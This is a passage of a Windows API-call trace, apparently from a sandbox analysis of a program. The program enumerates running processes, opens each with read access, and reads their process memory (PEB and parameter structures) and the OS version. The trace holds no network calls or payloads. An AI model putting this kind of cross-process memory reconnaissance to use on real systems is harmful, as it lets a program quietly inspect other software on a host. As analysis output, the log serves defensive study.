lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.492] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.493] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.493] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x30b020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.493] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4032e0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.493] malloc (_Size=0x5e) returned 0xeb6540 [0192.493] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403968, lpBuffer=0xeb6540, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6540*, lpNumberOfBytesRead=0x0) returned 1 [0192.494] free (_Block=0xeb6540) [0192.494] CloseHandle (hObject=0x414) returned 1 [0192.494] _ui64tow_s (in: _Value=0x184, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="388") returned 0x0 [0192.494] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="388") returned 3 [0192.494] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.494] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.495] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0x414 [0192.495] GetLastError () returned 0x0 [0192.495] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.496] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x28d018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.496] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.496] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d70, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.496] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.496] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.496] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.496] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x28d020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.497] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.497] malloc (_Size=0x8a) returned 0xec72a0 [0192.497] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xec72a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec72a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.497] free (_Block=0xec72a0) [0192.498] CloseHandle (hObject=0x414) returned 1 [0192.498] _ui64tow_s (in: _Value=0x204, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0192.498] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="516") returned 3 [0192.499] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.499] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.499] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0x414 [0192.500] GetLastError () returned 0x0 [0192.500] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.500] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c3018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.500] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.500] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403cf0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.500] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403928, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.501] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.501] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.501] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x3c3020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.501] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4032e0, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.501] malloc (_Size=0x88) returned 0xe88360 [0192.501] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403968, lpBuffer=0xe88360, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88360*, lpNumberOfBytesRead=0x0) returned 1 [0192.502] free (_Block=0xe88360) [0192.502] CloseHandle (hObject=0x414) returned 1 [0192.502] _ui64tow_s (in: _Value=0x404, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0192.502] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1028") returned 4 [0192.502] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.503] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.503] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0x414 [0192.503] GetLastError () returned 0x0 [0192.503] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.504] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x291018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.504] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.504] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d50, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.504] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.504] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.504] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.504] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x291020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.505] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.505] malloc (_Size=0x68) returned 0xeb6380 [0192.505] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xeb6380, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6380*, lpNumberOfBytesRead=0x0) returned 1 [0192.505] free (_Block=0xeb6380) [0192.505] CloseHandle (hObject=0x414) returned 1 [0192.506] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1252") returned 0x0 [0192.506] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1252") returned 4 [0192.506] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.506] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.507] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0x414 [0192.507] GetLastError () returned 0x0 [0192.507] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.507] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x36c018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.507] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.507] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d60, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.507] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039b8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.508] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.508] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.508] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x36c020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.508] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403370, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.508] malloc (_Size=0x6c) returned 0xea8da0 [0192.508] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039f8, lpBuffer=0xea8da0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8da0*, lpNumberOfBytesRead=0x0) returned 1 [0192.509] free (_Block=0xea8da0) [0192.509] CloseHandle (hObject=0x414) returned 1 [0192.509] _ui64tow_s (in: _Value=0x564, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0192.510] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1380") returned 4 [0192.510] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.510] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.510] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0192.511] CloseHandle (hObject=0x0) returned 0 [0192.511] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0192.511] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1524") returned 4 [0192.511] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.511] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.512] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0x414 [0192.512] GetLastError () returned 0x0 [0192.512] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.512] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x285018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.512] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.512] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d70, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.513] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.513] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.513] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.513] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x285020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.514] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.514] malloc (_Size=0x8a) returned 0xec72a0 [0192.514] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xec72a0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec72a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.514] free (_Block=0xec72a0) [0192.514] CloseHandle (hObject=0x414) returned 1 [0192.515] _ui64tow_s (in: _Value=0x644, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0192.515] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1604") returned 4 [0192.515] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.515] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.516] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0x414 [0192.516] GetLastError () returned 0x0 [0192.516] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.516] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x25c018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.517] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.517] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d70, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.517] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.517] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.517] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.517] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x25c020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.517] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.518] malloc (_Size=0x8a) returned 0xec7a20 [0192.518] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xec7a20, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7a20*, lpNumberOfBytesRead=0x0) returned 1 [0192.518] free (_Block=0xec7a20) [0192.518] CloseHandle (hObject=0x414) returned 1 [0192.519] _ui64tow_s (in: _Value=0x650, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0192.519] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1616") returned 4 [0192.519] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.519] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.520] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0x414 [0192.520] GetLastError () returned 0x0 [0192.520] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.520] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x380018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.520] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.520] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403d70, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.520] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039a8, lpBuffer=0x104c5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c5a0*, lpNumberOfBytesRead=0x0) returned 1 [0192.521] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x1, ProcessInformation=0x104c8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c8a8, ReturnLength=0x0) returned 0x0 [0192.521] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c348, ReturnLength=0x0) returned 0x0 [0192.521] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x380020, lpBuffer=0x104c330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c330*, lpNumberOfBytesRead=0x0) returned 1 [0192.521] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403360, lpBuffer=0x104c380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c380*, lpNumberOfBytesRead=0x0) returned 1 [0192.521] malloc (_Size=0x8a) returned 0xec7de0 [0192.521] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x4039e8, lpBuffer=0xec7de0, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7de0*, lpNumberOfBytesRead=0x0) returned 1 [0192.522] free (_Block=0xec7de0) [0192.522] CloseHandle (hObject=0x414) returned 1 [0192.522] _ui64tow_s (in: _Value=0x674, _Buffer=0x104d780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0192.522] _vsnwprintf (in: _Buffer=0x104d290, _BufferCount=0x103, _Format="%lu", _ArgList=0x104c818 | out: _Buffer="1652") returned 4 [0192.523] GetVersionExW (in: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x104c8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0192.523] _vsnwprintf (in: _Buffer=0x104d4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x104c818 | out: _Buffer="10.0.19041") returned 10 [0192.523] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0x414 [0192.524] GetLastError () returned 0x0 [0192.524] NtQueryInformationProcess (in: ProcessHandle=0x414, ProcessInformationClass=0x0, ProcessInformation=0x104c878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x104c878, ReturnLength=0x0) returned 0x0 [0192.524] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x306018, lpBuffer=0x104c848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c848*, lpNumberOfBytesRead=0x0) returned 1 [0192.524] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x104c830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104c830*, lpNumberOfBytesRead=0x0) returned 1 [0192.524] ReadProcessMemory (in: hProcess=0x414, lpBaseAddress=0x403cc0, lpBuffer=0x104cc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x104cc60*, lpNumberOfBytesRead=0x0) returned 1 [0192.524] 